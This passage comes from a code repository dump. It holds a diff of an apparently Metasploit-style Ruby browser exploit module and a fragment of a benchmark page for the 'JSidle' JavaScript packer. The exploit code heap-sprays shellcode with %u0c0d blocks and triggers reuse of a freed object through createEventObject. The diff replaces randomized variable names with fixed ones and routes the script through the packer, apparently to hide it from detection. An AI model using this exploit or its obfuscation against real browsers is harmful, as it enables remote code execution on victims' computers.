rand_text_alpha(rand(100) + 1) 53 | - rand_html = rand_text_english(rand(400) + 500) 54 | - 55 | - js = %Q|var #{var_element} = "COMMENT"; 56 | -var #{var_el_array} = new Array(); 57 | + js = %Q|var element = "COMMENT"; 58 | +var el_array = new Array(); 59 | for (i = 0; i < 1300; i++) 60 | { 61 | -#{var_el_array}[i] = document.createElement(#{var_element}); 62 | -#{var_el_array}[i].data = "#{bleh}"; 63 | +el_array[i] = document.createElement(element); 64 | +el_array[i].data = "#{bleh}"; 65 | } 66 | -var #{var_event} = null; 67 | -var #{var_memory} = new Array(); 68 | -var #{var_unescape} = unescape; 69 | -function #{var_boom}() 70 | +var event2 = null; 71 | +var memory = new Array(); 72 | +var unescape = unescape; 73 | +function boom() 74 | { 75 | -var #{var_shellcode} = #{var_unescape}( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); 76 | -var #{var_spray} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "d" + "%u" + "0" + "c" + "0" + "d" ); 77 | -do { #{var_spray} += #{var_spray} } while( #{var_spray}.length < 0xd0000 ); 78 | -for (#{var_i} = 0; #{var_i} < 150; #{var_i}++) #{var_memory}[#{var_i}] = #{var_spray} + #{var_shellcode}; 79 | +var shellcode = unescape( '#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}'); 80 | +var spray = unescape( "%u0c0d%u0c0d" ); 81 | +do { spray += spray } while( spray.length < 0xd0000 ); 82 | +for (i = 0; i < 150; i++) memory[i] = spray + shellcode; 83 | } 84 | -function #{var_loaded}(#{var_loaded_arg}) 85 | +function #{var_loaded}(loaded_arg) 86 | { 87 | -#{var_boom}(); 88 | -#{var_event} = document.createEventObject(#{var_loaded_arg}); 89 | +boom(); 90 | +event2 = document.createEventObject(loaded_arg); 91 | document.getElementById("#{var_span_id}").innerHTML = ""; 92 | -window.setInterval(#{var_grab_mem}, 50); 93 | +window.setInterval(grab_mem, 50); 94 | } 95 | -function #{var_grab_mem}() 96 | +function grab_mem() 97 | { 98 | p = "\\u0c0f\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d\\u0c0d"; 99 | -for (i = 0; i < #{var_el_array}.length; i++) 100 | +for (i = 0; i < el_array.length; i++) 101 | { 102 | -#{var_el_array}[i].data = p; 103 | +el_array[i].data = p; 104 | } 105 | -var t = #{var_event}.srcElement; 106 | +var t = event2.srcElement; 107 | } 108 | | 109 | - js_encoded = encrypt_js(js, @javascript_encode_key) 110 | 111 | + @packer.js = js 112 | + res = @packer.pack() 113 | + js_encoded = res[:js_encoded] 114 | + 115 | html = %Q| 116 | 117 | 118 | -------------------------------------------------------------------------------- /tools/benchmark.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 11 | 12 |

13 | This benchmark helps to find a suitable value for the speed option of the JSidle packer.
14 | Open this page in the target browser to benchmark the javascript execution speed. 15 |

16 | 34 | 35 | 36 | --------------------------------------------------------------------------------